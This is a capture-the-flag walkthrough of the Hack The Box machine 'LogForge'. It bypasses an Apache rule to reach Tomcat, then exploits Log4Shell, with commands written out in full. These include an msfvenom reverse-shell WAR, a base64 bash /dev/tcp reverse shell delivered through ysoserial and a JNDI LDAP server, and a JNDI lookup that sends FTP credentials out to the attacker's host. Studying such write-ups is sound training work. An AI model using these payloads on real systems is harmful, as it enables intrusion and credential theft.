LogForge
10 minutes to read
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.138
- Release: 03 / 12 / 2021
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.138 -p 21,22,80,8080
Nmap scan report for 10.10.11.138
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ultimate Hacking Championship
8080/tcp filtered http-proxy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.18 seconds
This machine has port 22 (SSH) and 80 (HTTP) open. Ports 21 (FTP) and 8080 (HTTP) are filtered.
Enumeration
If we go to http://10.10.11.138
we will see a page like this:
Let’s apply fuzzing with ffuf
to see if there are some useful routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.138/FUZZ
admin [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 49ms]
manager [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 44ms]
[Status: 200, Size: 489, Words: 23, Lines: 33, Duration: 100ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 50ms]
Looking at this routes, it seems that the server is running Tomcat. One can verify this searching for a non-existing resource. Namely, /robots.txt
:
It is using Tomcat/9.0.31. However, nmap
said that the server is Apache/2.4.41. Also notice that port 8080 was filtered.
Foothold
Tomcat’s default port is 8080. Maybe the configuration is Apache on port 80 redirecting requests to Tomcat on port 8080. Apache is blocking direct access to /manager
(which is the administration panel for Tomcat). This configuration can lead to path traversal issues.
Bypassing Apache restrictions
Looking at HackTricks, we can use /;param=value/manager/html
to bypass the Apache blocking configuration and access the Tomcat administration panel. We are asked for credentials, but the default ones (tomcat:tomcat
) are correct:
Now we can perform a common Tomcat exploitation. That is, upload a malicious WAR file to obtain a reverse shell on the server. Let’s use msfvenom
:
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.17.44 LPORT=4444 -f war -o rev.war
Payload size: 1106 bytes
Final size of war file: 1106 bytes
Saved as: rev.war
And now we can upload it. But, there is an error:
[org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]
As it is shown, the server tells that the maximum size is 1 B. So, we cannot exploit Tomcat in the conventional way.
Exploiting Log4j
We may notice that this error message comes from a log manager such as Log4j. This Java package has the feature to perform JNDI (Java Naming and Directory Interface) lookups. Maybe it is vulnerable to CVE-2021-44228 (Log4Shell).
Using Burp Suite to examine the POST request to upload the malicious WAR file, we can see that the parameter name is deployWar
, which is reflected on the error message. We can change this name to a common Log4j exploit payload (${jndi:ldap://<ip>/a}
) and check if we receive a connection.
For this, we can listen on port 389 (LDAP) using nc
:
$ nc -nlvp 389
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::389
Ncat: Listening on 0.0.0.0:389
Then we can make the POST request from Burp Suite:
And indeed we receive a connection:
$ nc -nlvp 389
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::389
Ncat: Listening on 0.0.0.0:389
Ncat: Connection from 10.10.11.138.
Ncat: Connection from 10.10.11.138:49432.
0
`
Now that we know the server performs JNDI lookups, we can use a malicious LDAP server to inject a serialized Java object that will send us a reverse shell.
For this purpose, we will be using JNDI-Exploit-Kit to expose an LDAP server and ysoserial-modified to craft the malicious serialized object.
First, we create the payload:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ java -jar target/ysoserial-modified.jar CommonsCollections5 bash 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash' > payload.ser
And now we start the LDAP server:
$ java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.17.44:1389 -P ../ysoserial-modified/payload.ser
_ _ _ _____ _____ ______ _ _ _ _ ___ _
| | \ | | __ \_ _| | ____| | | (_) | | |/ (_) |
| | \| | | | || |______| |__ __ ___ __ | | ___ _| |_ ______| ' / _| |_
_ | | . ` | | | || |______| __| \ \/ / '_ \| |/ _ \| | __|______| < | | __|
| |__| | |\ | |__| || |_ | |____ > <| |_) | | (_) | | |_ | . \| | |_
\____/|_| \_|_____/_____| |______/_/\_\ .__/|_|\___/|_|\__| |_|\_\_|\__|
| |
|_| created by @welk1n
modified by @pimps
[HTTP_ADDR] >> 10.10.17.44
[RMI_ADDR] >> 10.10.17.44
[LDAP_ADDR] >> 10.10.17.44
[COMMAND] >> open /System/Applications/Calculator.app
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/ohutrt
ldap://10.10.17.44:1389/ohutrt
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/z67mvv
ldap://10.10.17.44:1389/z67mvv
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/zanrvh
ldap://10.10.17.44:1389/zanrvh
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.10.17.44:1099/mz9jme
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
rmi://10.10.17.44:1099/tc7meh
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
rmi://10.10.17.44:1099/b96eue
ldap://10.10.17.44:1389/b96eue
----------------------------Server Log----------------------------
[JETTYSERVER]>> Listening on 10.10.17.44:8180
[RMISERVER] >> Listening on 10.10.17.44:1099
[LDAPSERVER] >> Listening on 0.0.0.0:1389
Using Burp Suite again, we can send this JNDI payload: ${jndi:ldap://10.10.17.44:1389/ohutrt}
in the same POST request and get a connection in nc
:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.138.
Ncat: Connection from 10.10.11.138:54970.
bash: cannot set terminal process group (782): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@LogForge:/var/lib/tomcat9$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tomcat@LogForge:/var/lib/tomcat9$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
tomcat@LogForge:/var/lib/tomcat9$ export TERM=xterm
tomcat@LogForge:/var/lib/tomcat9$ export SHELL=bash
tomcat@LogForge:/var/lib/tomcat9$ stty rows 50 columns 158
System enumeration
There is a user called htb
:
tomcat@LogForge:/var/lib/tomcat9$ ls /home
htb
Its home directory is readable, and thus we can read the user.txt
flag:
tomcat@LogForge:/var/lib/tomcat9$ ls -la /home/htb
total 24
drwxrwxr-x 1 htb htb 174 Dec 21 00:53 .
drwxr-xr-x 1 root root 6 Jul 2 18:57 ..
lrwxrwxrwx 1 root root 9 Dec 21 00:52 .bash_history -> /dev/null
-rw-r--r-- 1 htb htb 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 htb htb 3771 Feb 25 2020 .bashrc
drwx------ 1 htb htb 40 Jul 2 18:58 .cache
-rw-r--r-- 1 htb htb 807 Feb 25 2020 .profile
-rw-r--r-- 1 htb htb 0 Jul 2 18:58 .sudo_as_admin_successful
-rw------- 1 htb htb 3404 Dec 21 00:53 .viminfo
-rw-r--r-- 1 root root 33 Dec 24 05:26 user.txt
tomcat@LogForge:/var/lib/tomcat9$ cat /home/htb/user.txt
6b62392136128e4b1d1c2769fee24010
Privilege escalation
We can recall that port 21 (FTP) was filtered in the output of nmap
. In fact, there is an FTP server running on the machine using a custom Java project:
tomcat@LogForge:/var/lib/tomcat9$ ps -faux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
...
root 757 0.0 0.0 5568 3072 ? Ss 05:26 0:00 /usr/sbin/cron -f
root 955 0.0 0.0 7248 3372 ? S 05:27 0:00 \_ /usr/sbin/CRON -f
root 962 0.0 0.0 2608 548 ? Ss 05:27 0:00 \_ /bin/sh -c /root/run.sh
root 963 0.0 0.0 5648 3096 ? S 05:27 0:00 \_ /bin/bash /root/run.sh
root 964 0.1 1.7 3576972 70076 ? Sl 05:27 0:25 \_ java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar
Exploring the FTP server
Fortunately, the JAR file can be found in the root directory:
tomcat@LogForge:/var/lib/tomcat9$ ls -la /
total 2060
drwxr-xr-x 1 root root 224 Dec 21 20:09 .
drwxr-xr-x 1 root root 224 Dec 21 20:09 ..
lrwxrwxrwx 1 root root 7 Jul 31 2020 bin -> usr/bin
drwxr-xr-x 1 root root 294 Dec 21 01:21 boot
drwxr-xr-x 1 root root 0 Jul 2 18:33 cdrom
drwxr-xr-x 17 root root 3820 Dec 24 05:26 dev
drwxr-xr-x 1 root root 3176 Dec 21 20:04 etc
-rw-r--r-- 1 root root 2048143 Dec 18 11:49 ftpServer-1.0-SNAPSHOT-all.jar
drwxr-xr-x 1 root root 6 Jul 2 18:57 home
lrwxrwxrwx 1 root root 7 Jul 31 2020 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jul 31 2020 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Jul 31 2020 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Jul 31 2020 libx32 -> usr/libx32
drwxr-xr-x 1 root root 0 Jul 31 2020 media
drwxr-xr-x 1 root root 0 Jul 31 2020 mnt
drwxr-xr-x 1 root root 0 Jul 31 2020 opt
dr-xr-xr-x 287 root root 0 Dec 24 05:26 proc
drwx------ 1 root root 236 Dec 21 15:10 root
drwxr-xr-x 25 root root 740 Dec 24 05:26 run
lrwxrwxrwx 1 root root 8 Jul 31 2020 sbin -> usr/sbin
drwxr-xr-x 1 root root 0 Jul 31 2020 srv
dr-xr-xr-x 13 root root 0 Dec 24 05:26 sys
drwxrwxrwt 1 root root 34 Dec 24 05:26 tmp
drwxr-xr-x 1 root root 128 Jul 2 19:17 usr
drwxr-xr-x 1 root root 106 Dec 14 20:31 var
We can transfer it to our machine and decompile it using an online tool, such as javadecompilers.com.
There are two main Java files inside the project: Server.java
and Worker.java
. The second one contains some useful information:
package main.java.com.ippsec.ftpServer;
import org.apache.logging.log4j.LogManager;
// ..
import org.apache.logging.log4j.Logger;
public class Worker extends Thread {
// ...
public Worker(final Socket client, final int dataPort) {
this.debugMode = true;
this.fileSeparator = "/";
this.transferMode = transferType.ASCII;
this.currentUserStatus = userStatus.NOTLOGGEDIN;
this.validUser = System.getenv("ftp_user");
this.validPassword = System.getenv("ftp_password");
this.quitCommandLoop = false;
this.controlSocket = client;
this.dataPort = dataPort;
this.currDirectory = "/root";
this.root = "/";
}
// ...
}
As it can be seen, valid username and password for FTP are stored in some environment variables called ftp_user
and ftp_password
. Moreover, the FTP server uses Log4j.
To obtain the value of these environment variables, we can exploit Log4j JNDI lookups again. Nevertheless, we will not be able to inject a valid serialized object with ysoserial-modified because the Java project does not use any package that is vulnerable to insecure deserialization.
Then, we can only exfiltrate data through LDAP using the previous LDAP server. To obtain the exfiltrated data, we can make use of Wireshark.
LDAP exfiltration
From the machine, we can connect to the FTP server and inject the JNDI lookup payload while capturing with Wireshark.
tomcat@LogForge:/var/lib/tomcat9$ cd /tmp
tomcat@LogForge:/tmp$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ${jndi:ldap://10.10.17.44:1389/${env:ftp_user}:${env:ftp_password}}
530 Not logged in
Login failed.
Notice that ${env:ftp_user}
will print the value of the environment variable called ftp_user
.
The logs of the LDAP server will tell that a connection was received, but no more useful information. In Wireshark we can see the desired information:
As shown above, the FTP credentials are: ippsec:log4j_env_leakage
. Now we can login successfully:
ftp> user ippsec
331 User name okay, need password
Password:
230-Welcome to HKUST
230 User logged in successfully
Remote system type is FTP.
ftp> dir
200 Command OK
125 Opening ASCII mode data connection for file list.
.profile
.ssh
snap
ftpServer-1.0-SNAPSHOT-all.jar
.bashrc
.selected_editor
run.sh
.lesshst
.bash_history
root.txt
.viminfo
.cache
226 Transfer complete.
At this point, we can download the root.txt
flag:
ftp> get root.txt
local: root.txt remote: root.txt
200 Command OK
150 Opening ASCII mode data connection for requested file root.txt
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 File transfer successful. Closing data connection.
33 bytes received in 0.00 secs (210.6311 kB/s)
ftp> quit
221 Closing connection
tomcat@LogForge:/tmp$ cat root.txt
648bf4d58f9cec00f1720aeb122a4ce0
In order to actually get an interactive shell as root
, one could add SSH keys to /root/.ssh
. However, the Java FTP server does not work properly, so we cannot overwrite files. Furthermore, the id_rsa
stored inside /root/.ssh
is not working as expected, because it does not login without password.